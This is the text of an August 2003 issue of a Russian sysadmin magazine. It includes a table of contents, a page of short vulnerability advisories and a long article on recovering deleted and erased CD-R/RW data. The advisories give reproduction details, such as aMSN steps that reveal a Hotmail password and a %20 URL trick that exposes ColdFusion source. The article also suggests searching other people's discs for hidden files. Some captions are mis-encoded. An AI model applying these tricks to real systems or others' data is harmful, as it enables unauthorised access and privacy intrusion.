Вы находитесь на странице: 1из 98

№8(9) август 2003

подписной индекс 81655


журнал для cистемных администраторов,
вебмастеров и программистов

Восстановление данных
с лазерных дисков
Новые средства
ОС FreeBSD 5
Эффективная почтовая
система на базе Exim
NETFILTER
Пингвин
с одного пинка
NetBSD:
установка и настройка
Переполнение буфера
в Windows NT/2000/XP
оглавление

АДМИНИСТРИРОВАНИЕ СЕТИ

Восстановление данных NETFILTER


с лазерных дисков Владимир Мешков
Крис Касперски ubob@mail.ru 64
kk@sendmail.ru 4
Протокол V.90
Мониторинг Windows-серверов Денис Колисниченко
с помощью Nagios dhsilabs@mail.ru 70
Часть2
Андрей Бешков
tigrisha@sysadmins.ru 12 БЕЗОПАСНОСТЬ

Пингвин с одного пинка Переполнение буфера


Сергей Яремчук в Windows NT/2000/XP
grinder@ua.fm 24 Станислав Гошко
bigafroelephaut@mail.ru 74
OpenBSD. Первые шаги
Денис Назаров ПРОГРАММИРОВАНИЕ
pheonix@sysattack.com 28
Регулярные выражения
NetBSD: установка и настройка и поиск текста в Perl
Андрей Бешков Владислав Гошко
tigrisha@sysadmins.ru 34 synthetic@inbox.ru 78

Эффективная почтовая система ОБРАЗОВАНИЕ


на базе Exim
Денис Мысенко
duster@duster.ru 40 Могущество кодов Рида-Соломона,
или Информация, воскресшая из пепла
Крис Касперски
Новые средства OC FreeBSD 5 kk@sendmail.ru 88
Всеволод Стахов
CEBKA@smtp.ru 46
BUGTRAQ 2, 62, 69
HARDWARE

Плохое электропитание,
или «Грабли» с UPS
Павел Закляков
amdk7@mail.ru 52

WWW.SAMAG.RU
№8(9), август 2003 1
bugtraq

Раскрытие опознавательной Межсайтовый скриптинг


информации в “aMSN” в Microsoft Outlook Web Access
Уязвимость раскрытия опознавательной информации Несколько уязвимостей обнаружено в Microsoft Outlook
обнаружена в «aMSN» – в Linux версии MSN Messenger. Web Access (OWA). Удаленный пользователь может
Локальный пользователь может определить Hotmail-па- обойти настройки фильтрования, чтобы выполнить про-
роль целевого пользователя. Локальный пользователь извольный код сценария и получить OWA пароль целе-
может выполнить серию действий, чтобы раскрыть вого пользователя.
Hotmail-пароль целевого пользователя: Удаленный пользователь может послать специаль-
но сформированное HTML email сообщение к целево-
- Open AMSN Messenger and sign in му пользователю, чтобы получить доменное имя целе-
- Go to Tools>Options>Preferences>Applications
- For Browser type in a location other then where the вого пользователя и его пароль.
browser is, and the same for File Manager Способов устранения обнаруженной уязвимости не
- Click Save
- On the main part of AMSN, click on the text to go to the существует в настоящее время.
hotmail inbox

Уязвимость обнаружена в aMSN 0.8


Способов устранения обнаруженной уязвимости не
существует в настоящее время.
Удаленный доступ
в ColdFusion MX Server
Несколько уязвимостей обнаружены в ColdFusion MX
Server. Удаленный пользователь может получить дос-
Просмотр исходного кода туп к серверу в конфигурации по умолчанию.
ColdFusion-страниц в ColdFusion MX В конфигурации по умолчанию Remote Development
Уязвимость раскрытия информации обнаружена в Service (RDS) не требует пароля для авторизации. На
Macromedia’s ColdFusion MX и Macromedia JRun, когда системах, в которых не установлен пароль админист-
он запущен на веб-сервере Apache на Windows-систе- ратора, удаленный пользователь может получить до-
мах. Удаленный пользователь может просматривать ис- ступ к серверу.
ходный код ColdFusion-страниц. Удаленный пользова- Также по умолчанию RDS Java servlet запущен в
тель может добавить кодированный символ пробела контексте учетной записи ColdFusion, с привилегиями
(%20) к концу URL, чтобы просматривать исходный код LocalSystem. Удаленный авторизованный пользова-
«.cfm»-, «.cfc»- или «.cfml»-страниц. Уязвимость рабо- тель может переконфигурировать свойства веб-сай-
тает только в Apache 1.3.x и 2.x на Windows-системах. та, чтобы получить возможность добавлять любые
Уязвимость обнаружена в ColdFusion MX (Standard файлы на сервер.
Edition), MX for J2EE (JRun), Macromedia JRun 4.0 Также сообщается, что когда установлен RDS-па-
Для устранения уязвимости установите обновлен- роль, то пароль передается по сети в открытом виде.
ную версию программы, которую можно скачать отсю- Удаленный пользователь, способный контролировать
да: http://download.macromedia.com/pub/security/mpsb03- сетевой трафик, может получить этот пароль. Также со-
04.zip общается, что не проверяется правильность ASP
SESSION ID.
Способов устранения обнаруженной уязвимости не
существует в настоящее время.

Раскрытие чувствительной информации


в Microsoft Windows 2000
USBH_IoctlGetNodeConnectionDriverKeyName
Уязвимость обнаружена в Microsoft Windows 2000 SP3. Отказ в обслуживании при обращении
Локальный пользователь может раскрыть чувствитель- к DOS устройствам
ные данные из памяти ядра. в Microsoft Internet Explorer
При определенных обстоятельствах вызов Отказ в обслуживании обнаружен в Microsoft Internet
USBH_IoctlGetNodeConnectionDriverKeyName() может Explorer. Удаленный пользователь может завесить бра-
возвратить неинициализированные данные с простран- узер. Сообщается, что когда браузер попытается заг-
ства памяти ядра. Это может привести к раскрытию чув- рузить URL «C:\aux», то он зависнет и перестанет от-
ствительных данных. вечать на дальнейшие запросы.
Уязвимость обнаружена в Microsoft Windows 2000 Уязвимость обнаружена в Microsoft Internet Explorer 6.0
SP3 Для устранения уязвимости скачайте SP4.
Составил Александр Антипов

2
администрирование

ВОССТАНОВЛЕНИЕ ДАННЫХ
С ЛАЗЕРНЫХ ДИСКОВ
…Такой объем информации можно уничтожить в один
миг разве что динамитом, потому что существуют
дублирующие системы, и у скорости обработки есть предел.
Джон Варли
«Нажмите ENTER»

Записываемые и перезаписываемые лазерные диски представляют собой идеальное средство


для резервирования информации умеренных объемов (а всякий администратор обязательно
должен заботиться о периодическом резервировании вверенной ему информации). К сожалению,
никакая работа без ошибок не обходится (что поделаешь, человеку свойственно ошибаться –
errare humanum est, как говорили древние), и ошибочное удаление файлов CD-R/CD-RW дисков,
равно как и непредумышленная очистка последних хотя бы однажды да случается (на самом деле,
как показывает практика, с этим явлением приходится сталкиваться далеко не однажды, особенно
если пользователи самостоятельно резервируют ту или иную информацию на CD-R/CD-RW).
Насколько известно автору, утилит, предназначенных для восстановления информации с лазерных
дисков, до сих пор не разработано (во всяком случае, они не были широко представлены на рынке),
поэтому восстановлением запоротых дисков в подавляющем большинстве случаев приходится
заниматься самостоятельно. О том, как именно это сделать и рассказывает настоящая статья.

КРИС КАСПЕРСКИ
4
администрирование
Восстановление удаленных файлов Поэтому, записывая на диск информацию, предназ-
с CD-R/CD-RW наченную для передачи постороннему лицу, ни в коем
Заявляя о своей поддержке многосессионных дисков, случае не используйте для этой цели болванки, содер-
операционные системы Windows 9x и Windows NT (вплоть жащие конфиденциальные данные. «Удаление» ранее
до W2K включительно) тактично умалчивают о том, что под- записанных на болванку данных на самом деле не унич-
держивают их лишь частично. тожает их!
Каждая сессия – это вполне самостоятельный том (в Просматривая содержимое лазерного диска, полу-
терминологии Windows – «логический диск»), имеющий ченного от приятеля (купленного на радио-рынке, вы-
свою собственную файловую систему и свои собствен- тащенного из мусорной корзины), имеет смысл попы-
ные файлы. Благодаря сквозной нумерации секторов ла- таться заглянуть внутрь предыдущих сессий на пред-
зерного диска, файловая система одной сессии может мет поиска скрытой информации. Как показывает прак-
ссылаться на файлы, физически расположенные в любой тика, очень часто там обнаруживается много интерес-
другой сессии. Для того чтобы с многосессионным дис- ного. Так же вам может потребоваться восстановить
ком было можно работать как с единым томом, файловая ошибочно удаленный файл со своего собственного дис-
система последней сессии должна включать в себя со- ка, а то и воскресить всю «пришибленную» сессию це-
держимое файловых систем всех предыдущих сессий. ликом (некоторые программы записи на CD позволяют
Если этого не сделать, то при просмотре диска штатными пользователю выбирать: следует ли при создании но-
средствами Windows оглавления остальных сессий ока- вой сессии добавлять в нее файловую систему преды-
жутся потерянными, поскольку Windows монтирует лишь дущей или же в новую сессию следует включать только
последнюю сессию диска, а все прочие – игнорирует. Про- новые файлы. Неверный выбор настроек приводит к
граммы «прожига» CD-R/RW по умолчанию добавляют со- утрате содержимого всех предыдущих сессий, но, к сча-
держимое файловой системы предыдущей сессии к пос- стью, эта утрата обратима).
ледующей, однако это еще не означает, что последняя Для восстановления удаленных файлов можно вос-
сессия диска всегда содержит в себе все то, что имеют пользоваться любой программой, умеющей извлекать
предыдущие. содержимое выбранной сессии диска и записывать его
Рассмотрим, например, как осуществляется удале- в ISO-образ. Пусть для определенности это будет Roxio
ние файлов с CD-R/RW. Нет, это не опечатка! Содержи- Easy CD Creator. Позволив приводу «заглотить» вос-
мое дисков CD-R, несмотря на физическую невозмож- станавливаемый диск, в меню «CD» выбираем пункт
ность их перезаписи, в принципе все же уничтожаемо. «CD Information» и после этого на экране отображается
Для имитации удаления файла программы записи диалоговое окно следующего вида:
на CD просто не включают ссылку на уничтожаемый
файл в файловую систему последней сессии1. И хотя
«удаленный» файл все еще присутствует на диске,
«отъедая» часть дискового пространства, при просмот-
ре содержимого диска из-под Windows он уже не ото-
бражается в каталоге. «Какой же тогда смысл несет в
себе удаление файлов с CD-R, если свободная емкость
диска при этом не увеличивается, а даже уменьшает-
ся 2?!» – удивленно спросит иной читатель. На самом
же деле смысл этой операции (если его вообще можно
назвать «смыслом») заключен исключительно в сокры-
тии «удаляемых» файлов от простых пользователей.
Раз удаленные файлы не видны при просмотре со-
держимого диска штатными средствами, то неквали-
фицированному пользователю они формально недо-
ступны. Подчеркиваю: для штатных средств операци-
онной системы Windows недоступны, но те же «Маки»
позволяют монтировать любую сессию диска на отдель-
ный том, благодаря чему при просмотре многосесси-
онных дисков под «Маками» все удаленные файлы сра- Ðèñóíîê 1. Àíàëèç ñîäåðæèìîãî äèñêà íà ïðåäìåò âûÿâëåíèÿ
óäàëåííûõ ôàéëîâ.
зу же «всплывают».
Аналогичным образом обстоят дела и при удалении Как мы и видим, перед нами представлен перечень
информации с CD-RW дисков. Несмотря на теоретичес- всех сессий, имеющихся на диске с указанием номеров,
кую возможность физического уничтожения их содержи- стартовых адресов (в секторах) и длин (в мегабайтах).
мого, подавляющее большинство записывающего софта Давайте попробуем определить, имеются ли на диске
поддерживает лишь функцию очистки всего диска цели- скрытые файлы или нет. Используя команду «dir», вы-
ком, но не в состоянии выборочно удалять отдельные ведем директорию диска и запомним суммарный раз-
файлы. Так что все, сказанное выше о CD-R дисках, в мер всех файлов, которые только «видит» операцион-
равной мере применимо и к CD-RW. ная система:

№8(9), август 2003 5


администрирование
Ëèñòèíã 1. Âûâîä ñîäåðæèìîãî äèñêà íà ýêðàí, íà ñàìîì äåëå
êîâàðíàÿ Windows âûâîäèò ñîäåðæèìîå îäíîé ëèøü ïîñëåäíåé
ñåññèè äèñêà. ×òî ñîäåðæàò âñå îñòàëüíûå – íåèçâåñòíî. Âî
âñÿêîì ñëó÷àå, ïîêà íåèçâåñòíî.
KPNC$G:\>dir
Òîì â óñòðîéñòâå G èìååò ìåòêó 030710_1433
Ñåðèéíûé íîìåð òîìà: 4DD0-BB09
Ñîäåðæèìîå ïàïêè G:\
28.05.2003 05:57 6 283 745 phck31.drf.zip
03.06.2003 05:39 8 085 410 phck31.Âò 03.06.2003.zip
04.06.2003 16:45 7 898 149 phck31.Ñð 04.06.2003.zip
05.06.2003 06:06 6 718 926 phck31.×ò 05.06.2003.zip
03.07.2003 15:51 10 612 230 phck31.×ò 03.07.2003.zip
05.07.2003 06:37 8 946 860 phck31.Ñá 05.07.2003.zip
08.07.2003 12:51 9 009 642 phck31.Âò 08.07.2003.zip
09.07.2003 06:21 9 138 651 phck31.Ñð 09.07.2003.zip
10.07.2003 14:32 9 388 543 phck31.×ò 10.07.2003.zip
9 ôàéëîâ 76 082 156 áàéò
1 ïàïîê 0 áàéò ñâîáîäíî

Ага, совокупный объем 9 файлов, доступных для опера-


ционной системы, составляет всего 72 Мб (760 82 156 байт),
а совокупный объем всех сессий диска – 47,66 + 6,50 + 8,21 +
8,04 + 6,91 + 10,62 + 9,04 + 9,10 + 9,22 + 9,46 = 124,76 Мб,
что на 52 Мб длиннее! (Примечание: поле «Write Sector»,
содержащее длину записанной области диска и равное в Ðèñóíîê 2. Äèàëîãîâîå îêíî èçâëå÷åíèÿ ñåññèè ñ íàñòðîéêàìè
данном случае 255 Мб, для наших целей абсолютно беспо- ïî óìîë÷àíèþ.
лезно, поскольку в записанную область диска входят не Поле «Имя файла», как и следует из его названия, за-
только полезные данные, но и служебные области каждой дает имя образа (по умолчанию «Track»), а «Тип файла» –
сессии, в результате чего полная емкость диска всегда формат. Каким-либо образом «колдовать» над ним бес-
меньше его эффективной емкости, даже если на нем нет полезно, поскольку других форматов бесплатная версия
никаких удаленных файлов). программы все равно не поддерживает и возможность их
В какой именно сессии содержатся удаленные файлы, выбора (точнее, видимость возможности выбора) предо-
сказать невозможно – они могут присутствовать в любой из ставляется пользователю исключительно из соображений
них (или даже в нескольких сессиях сразу). Поэтому в об- этикета и/или вежливости.
щем случае все имеющиеся сессии должны просматриваться А вот настройки, обведенные рамкой «Read Data Track
последовательно. Однако иногда удается найти более ко- Settings», намного более интересны. Окно редактирова-
роткие пути. Применительно к рассматриваемому нами при- ния «Start Block» содержит LBA-адрес первого сектора
меру: давайте попробуем оттолкнуться от того факта, что выбранной сессии, а «Length in Block» – длину сессии в
количество имеющихся на диске сессий на единицу больше секторах и по умолчанию сюда подставляется информа-
числа выведенных командой dir файлов, причем размеры ция, подчерпнутая из TOC. При условии, что TOC не был
девяти последних секций практически совпадают с разме- умышленно искажен с целью защиты диска от копирова-
рами соответствующих им файлов. Первая же сессия дис- ния, этим данным можно верить. Однако как мы увидим в
ка, имеющая размер 48 Мб, не соответствует ни одному из дальнейшем, искажение TOC не редкость и с ним доволь-
видимых файлов. Что же она тогда содержит? А вот сейчас но часто приходится сталкиваться на практике (впрочем,
смонтируем эту сессию на отдельный дисковый том и по- возможности Easy CD Creator по восстановлению треков
смотрим! К сожалению, штатные средства Windows не по- с искаженными адресами даже более чем ограничены, т.к.
зволяют осуществлять такое монтирование непосредствен- он слишком щепетильно проверяет «правильность» на-
но и потому приходится идти обходным путем, записывая чального и конечного адресов, и если TOC говорит, что
выбранную сессию в ISO-образ с последующим копирова- начальный адрес больше конечного, то Easy CD Creator
нием последнего на чистый CD-R/CD-RW диск. Естествен- будет свято верить TOC, причем настолько свято, что все
но, CD-RW диски более практичны для таких эксперимен- попытки убедить его в обратном заранее обречены на
тов, поскольку их можно использовать многократно. Еще провал, так что для работы с защитами лучше подыскать
удобнее Alcohol 120%, динамически монтирующий ISO-об- другую программу, поумнее).
разы на виртуальный CD-ROM, и тем самым экономящий Поле «Block Size» содержит размер пользовательской
кучу времени (но, к сожалению, он не предоставляет воз- части сектора в байтах. Свобода выбора здесь представ-
можности выбора сохраняемых сессий и всегда помещает лена чисто символически, все равно изменить это значе-
в создаваемый им образ содержимое всего диска целиком, ние вы не сможете (да и нужно ли его изменять? ведь
поэтому одного лишь «Алкоголика» для наших эксперимен- «сырых» секторов Easy CD Creator все равно не поддер-
тов будет более чем достаточно). живает, а размер пользовательской части сектора одно-
Возвращаясь к нашим баранам (простите, к Roxio Easy значно определяется типом самого сектора и его измене-
CD Creator), дважды щелкнем мышем по строке «Session 1» ние бессмысленно).
или, предварительно выделив ее курсором, нажмем на Короче говоря, оставив все установки в состоянии,
кнопку «Read Track». На экране немедленно появится диа- предлагаемым по умолчанию, нажимаем кнопочку «со-
логовое окно следующего вида: хранить» и некоторое время ждем, пока выбранная нами

6
администрирование
сессия копируется в ISO-файл. Когда же процесс «транс- как получение несанкционированного доступа к после-
плантации» будет закончен, сформированный образ мож- дней со всеми вытекающими отсюда последствиями (на
но «закатать» на новую болванку тем же Easy CD Creator долгие годы – друзья в полоску и небо в клетку).
(в меню «File» необходимо выбрать пункт «Record CD from Для опытов по восстановлению информации с очищен-
CD image», указав в типе файлов «ISO Image File»), либо ных CD-RW дисков нам потребуется следующее:
запустить «Алкоголика» и смонтировать образ на вирту-  пишущий привод, не слишком дотошно следящий за
альный диск. корректностью содержимого TOC, поддерживающий
Так или иначе, доступ к удаленным файлам будет по- режим RAW DAO и умеющий читать содержимое pre-
лучен, и вы сможете делать с ними все что хотите. (Вни- gap первого трека. Не все модели писцов подходят
мание! При просмотре содержимого «сграбленной» сес- для этой цели, поэтому будьте готовы к тому, что вам
сии всегда учитывайте, что, во-первых, файлы, физичес- придется перепробовать большое количество различ-
ки принадлежащие другим сессиям, из данной сессии ока- ного оборудования (из двух моих рекордеров для вос-
жутся недоступными, в то время как ссылки на них здесь становления очищенных дисков подходит лишь NEC,
могут изобиловать. При обращении к реально несуществу- а PHILIPS на это, увы, не способен);
ющему файлу будет выдаваться либо мусор, либо сооб-  продвинутый записывающий soft, позволяющий ма-
щение об ошибке. Как альтернативный вариант – опера- нипулировать служебными областями диска по свое-
ционная система может просто зависнуть. Если это про- му усмотрению. Вы можете использовать Clone CD,
изошло, просто нажмите кнопку выброса диска. Windows CDRWin, Alcohol 120% или любую другую аналогич-
тут же выйдет из ступора и радостно завопит, что «уст- ную утилиту по своему выбору. Однако весь после-
ройство не готово». Во-вторых, в силу сквозной адреса- дующий материал рассчитан исключительно на
ции секторов, каждая «сграбленная» сессия должна за- Clone CD и при переходе на остальные программы
писываться на то же самое место диска, на котором она вы можете столкнуться с теми или иными проблема-
была ранее, в противном случае все ссылки на старто- ми. Если вы не уверены, что сможете справиться с
вые адреса файлов внутри этой сессии окажутся недей- ними самостоятельно – используйте Clone CD, ну а
ствительными. Требуемый результат обычно достигается затем, по мере приобретения профессиональных на-
изменением стартового адреса первого трека. О том, как выков и должного опыта, вы без труда восстановите
это сделать, рассказывается в следующей части статьи, диск любой такой программой;
посвященной восстановлению информации с очищенных  средство для работы с диском на секторном уровне –
CD-RW дисков.) утилита, позволяющая прочесть любой заданный сек-
тор (конечно, при условии, что он вообще читается при-
Восстановление очищенных CD-RW водом) и не пытающаяся пропустить те сектора, в ко-
Существует две принципиально различных методики торых по ее самоуверенному мнению ничего интерес-
очистки CD-RW: быстрая (quick) и полная (full). При быс- ного все равно нет. Копировщики защищенных дисков,
трой очистке диска с него удаляется лишь область TOC, перечисленные выше, для этой цели не подходят, т.к.
в результате чего диск выглядит «пустым», хотя его ос- отказываются читать «бесполезные» с их точки зре-
новное содержимое остается совершенно нетронутым. ния сектора. Может быть, другие копировщики ведут
Напротив, при полной очистке луч лазера «выжигает» себя и иначе – не знаю, не проверял. Вместо этого не-
всю поверхность диска целиком – от первого пита до пос- обходимую для работы утилиту я написал самостоя-
леднего. Естественно, на это требуется время и полная тельно (ее можно скачать с сайта журнала по адресу:
очистка диска может растянуться на добрый десяток http://www.samag.ru/source/k1.zip).
минут, в то время как быстрая спокойно укладывается в
одну-две минуты. Прежде чем начинать экспериментировать, давайте
Восстановление полностью очищенных дисков воз- разберемся, почему после очистки диск перестает читать-
можно только на специальном оборудовании, способном ся. Вопрос не так глуп, каким он кажется, ведь информа-
улавливать даже незначительные изменения отражатель- ция, необходимая для позиционирования головки и поис-
ной способности рефлекторного слоя. Такое оборудова- ка конкретных секторов при быстрой очистке диска оста-
ние подавляющему большинству пользователей, разуме- ется нетронутой! Управляющие данные «размазаны»
ется, недоступно. Однако диски, подвергнувшиеся быст- вдоль всей спиральной дорожки и для чтения диска на
рой очистке, могут быть восстановленны и на штатном секторном уровне TOC, в общем-то, и не нужен. Да, от-
рекордере (правда, не на всех моделях). сутствие TOC значительно усложняет анализ геометрии
Мы не будем касаться этической стороны проблемы диска и для определения количества треков/сессий дис-
и для простоты предположим, что вы хотите реаними- ка в общем случае привод должен прочитать весь этот
ровать свой собственный непредумышленно очищен- диск целиком. Но при восстановлении информации фак-
ный CD-RW диск, или условимся считать всех читате- тор времени играет второстепенную роль и им можно пол-
лей сотрудниками КГБ, которым поручили восстановить ностью пренебречь.
информацию с диска, добытого бесстрашными советс- Тем не менее при попытке чтения любого из секторов
кими разведчиками у американских шпионов. Отметим очищенного диска привод с неизменным упорством воз-
лишь то, что восстановление конфиденциальной инфор- вращает ошибку. Почему? Очень просто, это «защита»
мации с чужих CD-RW может быть классифицировано от чтения заведомо некорректной информации. Еще ни

№8(9), август 2003 7


администрирование
один из всех знакомых мне приводов не мог читать сек- Процедура восстановления состоит из трех частей:
тора за пределами Lead-Out области (собственно, на про- подготовки исходного образа трека с нормальным pre-gap;
граммном уровне содержимое Lead-in/Lead-out областей увеличения pre-gap до размеров целого диска и записи
недоступно тоже). Тем не менее эта невозможность от- исправленного образа на восстанавливаемый диск. Пер-
нюдь не концептуального уровня и удаление из микро- вые два этапа достаточно выполнить всего один раз, т.к.
программы привода «лишних» проверок позволят прочи- полученный образ (далее мы будем называть его «лечеб-
тать такой диск на ура. Нет, не подумайте! Призывать вас ным») может использоваться для всех дисков (читай: для
к дизассемблированию прошивок я не собираюсь. Дело всех дисков той же самой емкости, по понятным сообра-
это сложное, трудоемкое, да к тому же небезопасное. Не- жениям вы не сможете корректно восстановить 23-минут-
верно хакнутая прошивка может ко всем чертям угробить рый диск с помощью образа, предназначенного для 80-
привод без малейшей надежды на его восстановление. минутного диска и, соответственно, наоборот).
Нет, уж лучше мы пойдем другим путем! Для начала возьмем чистый CD-RW диск («чистый»
Идея восстановления информации, предлагаемая ав- не в смысле «ни разу не записанный», а очищенный быс-
тором, в общих чертах сводится к записи на диск фиктив- трой или полной очисткой, так же для этих целей подой-
ного TOC, адреса Lead-in и Lead-out областей которого дет и CD-R). Используя любую утилиту для штатного «про-
указывают на первый и последний сектор диска соответ- жига», запишем на него один крошечный файл, «веся-
ственно, а стартовый адрес первого трека аккурат совпа- щий» не более 500 Кб (более тяжелый файл просто не
дает с концом pre-gap области, которая по стандарту дол- уместится в запланированные 300 секторов). Выполнять
жна занимать не менее 150 секторов (или 2 секунд в пе- финализацию диска не нужно.
ресчете на абсолютные адреса). После этой нехитрой опе- Запустим Clone CD (Alcohol 120%) и снимем образ
рации привод будет читать оригинальное содержимое очи- диска. Спустя минуту-другую на винчестере образуют-
щенного диска как миленький, конечно, при том условии, ся два файла: file name.img и file name.ccd (если вы по-
что мы ухитримся настроить пишущий софт так, чтобы просили Clone CD сохранять так же и субканальную ин-
он, записав фиктивный TOC, никоим образом не пытался формацию, образуется третий файл – file name.sub,
интерпретировать подсунутые ему указатели на Leadin/ однако субканальная информация в данном случае бу-
LeadOut области как указание «выжечь» всю поверхность дет только мешать, потому опцию «чтение субканалов
диска целиком. из треков с данными» лучше всего отключить или же
Проверка показывает, что Clone CD вообще не запи- просто удалить file name.sub с диска; также нам не ну-
сывает такой TOC на диск, ругаясь на несоответствие раз- жен «Cue-Sheet», который Clone CD предлагает созда-
меров диска и образа файла. Alcohol 120% выполняет нашу вать для совместимости с другими программами, конк-
просьбу без лишних препирательств, но совсем не так, как ретно – с CDRWin).
мы хотели! Забив весь восстанавливаемый диск непонят- Открыв file name.ccd-файл любым текстовым редак-
но откуда взятым мусором, он авторитетно сообщает, что тором, найдем в нем следующие строки (ключевые слова
в процессе записи произошли ошибки и, возможно, вам для поиска «Point=0xa2» и «Point=0x01»):
следует убедиться в исправности оборудования.
Хорошо, зайдем с другой стороны. Запишем на диск Ëèñòèíã 2. Îðèãèíàëüíûé ñòàðòîâûé àäðåñ Lead-Out (ñëåâà)
è ñòàðòîâûé àäðåñ ïåðâîãî òðåêà äèñêà (ñïðàâà).
один реальный трек, занимающий минимально возмож-
ное количество секторов (по стандарту – 300, но неко- [Entry 2] [Entry 3]
Session=1 Session=1
торые приводы вполне удовлетворяются и меньшими Point=0xa2 Point=0x01
значениями), но расширим его pre-gap с двух секунд на… ADR=0x01 ADR=0x01
Control=0x04 Control=0x04
весь диск! В результате мы потеряем лишь 300 после- TrackNo=0 TrackNo=0
дних секторов, но получим доступ ко всему остальному AMin=0 AMin=0
ASec=0 ASec=0
содержимому. Учитывая, что на диске этих секторов на- AFrame=0 AFrame=0
считывается немногим более 300 тысяч, нетрудно под- ALBA=-150 ALBA=-150
Zero=0 Zero=0
считать, что процент успешно восстановленной инфор- PMin=0 PMin=0
мации составляет по меньшей мере 99,999% емкости PSec=29 PSec=1
PFrame=33 PFrame=0
всего диска, да и то лишь при том условии, что исход- PLBA=2058 PLBA=0
ный диск был забит целиком, что в живой природе прак-
тически никогда не наблюдается. Если же это вас не Изменим поля PMin:PSec:PFrame, принадлежащие
удовлетворяет – разрабатывайте свой собственный Point=0xa2 так, чтобы они указывали на самый конец дис-
софт, корректно записывающий фиктивный TOC, но ни- ка (0xa2 – это как раз Lead-Out и есть). Измененный Lead-
чего не делающий сверх этого (Lead-in область все рав- Out может выглядеть, например, так: 74:30:00. Адрес
но записывает сам привод, ну а без Lead-out при акку- Lead-Out следует выбирать с тем расчетом, чтобы меж-
ратном обращении с диском в принципе можно и обой- ду ним и внешней кромкой диска оставался по меньшей
тись, главное – пытаться прочитать сектора, находящи- мере 30-секундный зазор. Еще лучше, если ширина Lead-
еся за пределами диска, иначе поведение привода ста- Out составит полторы минуты или около того. Однако в
нет трудно предсказуемым). Мне же это делать лень – с этом случае будут неизбежно теряться последние треки
восстановлением полностью забитых дисков я еще не восстанавливаемого диска (если, конечно, вам действи-
сталкивался. Во всяком случае пока… тельно требуется их восстановить).

8
администрирование
К содержимому полей PMin:PSec:PFrame, принадлежа- увеличение pre-gap первого трека – не самая лучшая идея,
щих Point=0x01 (стартовый адрес первого трека), необхо- т.к. не все приводы способны читать такой «жирный» pre-
димо добавить ту же самую величину, которую вы добави- gap. С точки зрения совместимости было бы лучше уве-
ли к соответствующим полям Lead-Out. Отредактирован- личивать pre-gap второго трека, однако при этом первый
ный вариант может выглядеть, например, так: 74:01:42. трек придется располагать в самом начале диска и его
(74:30:00 /* новый адрес Lead-out */ – 00:29:33 /* старый тело неизбежно затрет восстанавливаемые сектора. И
Lead-Out */ + 00:01:00 /* старый стартовый адрес первого хотя это не такая уж большая проблема (в первых секто-
трека */ = 74:01:42 /* новый стартовый адрес */). Короче го- рах диска все равно ничего ценного нет), к такой мере
воря, новая версия ccd-файла должна выглядеть так: без особой необходимости все же лучше не прибегать.
На крайний случай действуйте так: запишите на диск две
Ëèñòèíã 3. Êëþ÷åâîé ôðàãìåíò «ðåàíèìàòîðà» 75-ìèíóòíûõ сессии и вместо стартового адреса Point номер 0x01 ме-
CD-RW äèñêîâ.
няйте стартовый адрес Point номер 0x02 (он будет нахо-
[Entry 2] [Entry 3] диться в разделе session=2).
Session=1 Session=1
… … Теперь наскоро очистим наш подопытный диск и до
PMin=74 PMin=74 отвала забьем его какими-нибудь файлами (предпочти-
PSec=30 PSec=01
PFrame=00 PFrame=42 тельнее всего использовать текстовики, т.к. в этом слу-
чае будет сразу видно: извлекается ли с восстановленно-
Вообще-то, для приличия следовало бы скорректировать го диска мусор или полезная информация). Записав фай-
и поля PLBA (LBA-адрес связан с абсолютным адресом сле- лы на диск, тут же выполним его быструю очистку.
дующим соотношением: LBA = ((Min∗60) + Sec)∗75 + Frame, Убедившись, что диск действительно очищен и его со-
однако текущие версии работают исключительно с абсо- держимое уже недоступно, запустим Clone CD и запишем
лютными адресами и LBA-адреса игнорируют. Теперь все только что созданный нами «лечебный» образ. Запись
что находится между концом Lead-in области и началом должна проводиться в режиме DAO, иначе ничего хоро-
первого сектора и будет называться pre-gap. При «про- шего у вас не получится (поэтому прежде чем восстанав-
жиге» диска область pre-gap остается нетронутой и поз- ливать сколь-нибудь ценный диск на еще неизвестном вам
же может быть прочитана на секторном уровне (а это как приводе, попробуйте потренироваться на «кошках» – дис-
раз то, что нам нужно!). Сказать по чести, чрезмерное ке, не содержащем ничего интересного).

№8(9), август 2003 9


администрирование
Вот наконец мы держим в руках свежевосстановлен- потому и риск ее затирания минимален (если, конечно,
ный диск. Но действительно ли он восстановлен? А вот схватиться вовремя, а не тогда, когда весь диск пере-
сейчас и убедимся! Вставляем «воскресшего из пепла» в записан до отказа). Восстановление одно-сессионных
привод NEC и с замиранием сердца пробуем прочитать дисков с затертой файловой системой – намного бо-
один из наугад взятых секторов из середины диска (на- лее трудная, но все-таки разрешимая задача. Во-пер-
чальные сектора обычно содержат нули, потом файло- вых, этих файловых систем на типовом диске целых две:
вую систему, и их очень легко принять за бессмысленный ISO-9660 и Joliet, правда, в силу их близкого географи-
мусор). О чудо! Оригинальное содержимое очищенного ческого положения при затирании диска они обычно гиб-
диска читается как ни в чем не бывало! Правда, при по- нут обе. Во-вторых, указанные файловые системы не
пытке прочесть оглавление диска средствами операци- поддерживают фрагментации и всякий файл, записан-
онной системы привод может впасть в глухую задумчи- ный на лазерный диск, представляет собой единый ин-
вость, граничащую с полным зависанием (ведь старто- формационный блок. Все что нужно для его восстанов-
вый адрес первого трека расположен не в начале диска, ления – определить точку входа и длину. Точка входа в
а совсем в другом месте), но это все ерунда! Главное, что файл всегда совпадает с началом сектора, а подавляю-
на секторном уровне диск все-таки доступен, пускай и не щее большинство типов файлов позволяют однозначно
на всех приводах. Так, в частности, ASUS вообще отка- идентифицировать свой заголовок по уникальной сиг-
зывается читать такой диск, возвращая ошибку, а PHILIPS натуре (в частности, для zip-файлов характерна следу-
читает один мусор (к счастью, этот мусор можно восста- ющая последовательность: 50 4B 03 04). Конец файла,
новить, – достаточно просто на битовом уровне выпол- правда, определяется уже не так однозначно и един-
нить EFM-перекодировку с более «правильной» позиции. ственная зацепка – структура самого восстанавливае-
Поскольку возможных позиций всего 14, перебор обеща- мого файла. Впрочем, большинство приложений доволь-
ет не затягиваться на длительное время. Тем не менее но лояльно относится к «мусору» в хвосте файла и пото-
лучше не извращаться, а просто приобрести более каче- му точностью определения его длины с погрешностью в
ственный привод). один сектор на практике оказывается вполне достаточ-
Остается лишь привести диск в состояние, пригод- ной. Поскольку файлы располагаются на диске вплот-
ное для переваривания операционной системой (что тол- ную, без «зазоров», конечный сектор всякого файла на-
ку в работе с диском на низком уровне?). Последова- дежно вычисляется путем вычитания единицы из стар-
тельно читая все сектора диска один за одним, мы бу- тового сектора следующего за ним файла.
дем собирать их в один img-файл, для определенности Вообще же говоря, техника восстановления лазерных
